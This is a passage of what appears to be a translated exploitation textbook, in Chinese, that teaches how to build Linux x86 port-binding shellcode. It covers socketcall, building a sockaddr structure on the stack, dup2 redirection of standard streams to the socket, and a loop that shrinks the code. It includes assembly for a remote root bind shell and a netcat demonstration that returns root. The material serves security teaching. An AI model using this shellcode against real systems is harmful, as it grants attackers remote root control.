利用遠端程式時,前面設計的 shellcode 都不管用——注入的 shellcode 需透過網路遞出互動式 root 提示。Port-binding shellcode 會把 shell 綁到某個網路連接埠,在那裡監聽連入連線。
一個系統呼叫搞定所有 socket 函式#
那些熟悉的 socket 函式全都能透過單一個 Linux 系統呼叫 socketcall()(syscall 102)存取:
int socketcall(int call, unsigned long *args);- EAX 永遠是 102。
- EBX 是 socket 呼叫的型別(
SYS_SOCKET=1、SYS_BIND=2、SYS_CONNECT=3、SYS_LISTEN=4、SYS_ACCEPT=5……)。 - ECX 是指向該呼叫引數的指標。
有些呼叫需要
sockaddr結構,必須由 shellcode 建構。用 GDB 除錯編譯後的bind_port.c是直接看清這結構在記憶體中樣貌的辦法:前 8 位元組含所有重要資訊——sin_family(2)與sin_port(網路位元組順序)是 word,後面的位址是 DWORD。31337以十六進位是0x7a69,在記憶體中反序存為0x697a。
綁定連接埠的組合語言#
sockaddr 結構與引數陣列都藉由反序推入堆疊、再把 ESP 複製進 ECX 建構。結構最後 8 位元組不用,就不推入,堆疊上碰巧的隨機位元組占用那空間無妨:
; s = socket(2, 1, 0)
push BYTE 0x66 / pop eax ; socketcall = syscall #102
cdq ; 清零 edx 備用
xor ebx, ebx / inc ebx ; ebx = 1 = SYS_SOCKET
push edx / push BYTE 0x1 / push BYTE 0x2 ; {protocol=0, SOCK_STREAM=1, AF_INET=2}
mov ecx, esp
int 0x80 ; eax = socket 檔案描述元
xchg esi, eax ; 存 socket FD 到 esi
; bind → listen → accept 依此類推組譯注入後,這段 shellcode 綁到連接埠 31337、阻塞在 accept 等連線;連線被接受後,新的 socket 檔案描述元留在 EAX。這要與前面的產生 shell 程式碼結合才有用——所幸標準檔案描述元讓這個融合異常簡單。
複製標準檔案描述元#
標準輸入、輸出、錯誤是程式做標準 I/O 用的三個標準檔案描述元。Socket 也只是能讀寫的檔案描述元。
只要把生成 shell 的標準輸入/輸出/錯誤換成已連線的 socket 檔案描述元,shell 就會把輸出與錯誤寫到 socket、從 socket 收到的位元組讀取輸入。系統呼叫
dup2(syscall 63)專門用來複製檔案描述元。
; dup2(connected socket, {0, 1, 2})
mov ebx, eax
push BYTE 0x3F / pop eax ; dup2 syscall #63
xor ecx, ecx ; 標準輸入
int 0x80
mov BYTE al, 0x3F / inc ecx / int 0x80 ; 標準輸出
mov BYTE al, 0x3F / inc ecx / int 0x80 ; 標準錯誤
; 接著 execve /bin//sh用 netcat 從另一終端連上該連接埠,即可取得遠端 root shell:
reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
whoami
root
用分支控制結構縮小#
C 的控制結構(for 迴圈、if-then-else)在機器語言中由條件分支與迴圈構成。重複三次的 dup2 呼叫可縮成一個迴圈。
反組譯第一章的 for 迴圈可見兩個新指令:cmp(比較)與 jle(jump if less than or equal to)。cmp 比較兩運算元、依結果設定旗標,條件跳躍再依旗標跳。
條件跳躍指令與狀態旗標
| 指令 | 說明 |
|---|---|
cmp <dest>, <source> | 比較,為條件跳躍設旗標 |
je / jne | 相等 / 不相等時跳 |
jl / jle | 小於 / 小於等於時跳 |
jg / jge | 大於 / 大於等於時跳 |
jz / jnz | zero flag 設定 / 未設定時跳 |
js / jns | sign flag 設定 / 未設定時跳 |
cmp 設定的狀態旗標中最有用的兩個:
- zero flag(ZF):結果為零時為真。
- sign flag(SF):結果的最高位元,結果為負時為真。
mov ebx, eax
xor eax, eax
push BYTE 0x2 / pop ecx ; ecx 從 2 開始
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80
dec ecx ; 往下數到 0
jns dup_loop ; sign flag 未設定 → ecx 非負,繼續xchg(交換) 指令交換兩運算元的值,比兩暫存器間的 mov 更小(1 位元組)。xchg eax,ebx 一舉兩得:把 socket FD 放進 ebx、同時清零 eax 的上三位元組(因 ebx 上三位元組本已清零)。
這些技巧組譯出的正是前一章使用的 92 位元組 bind_shell shellcode。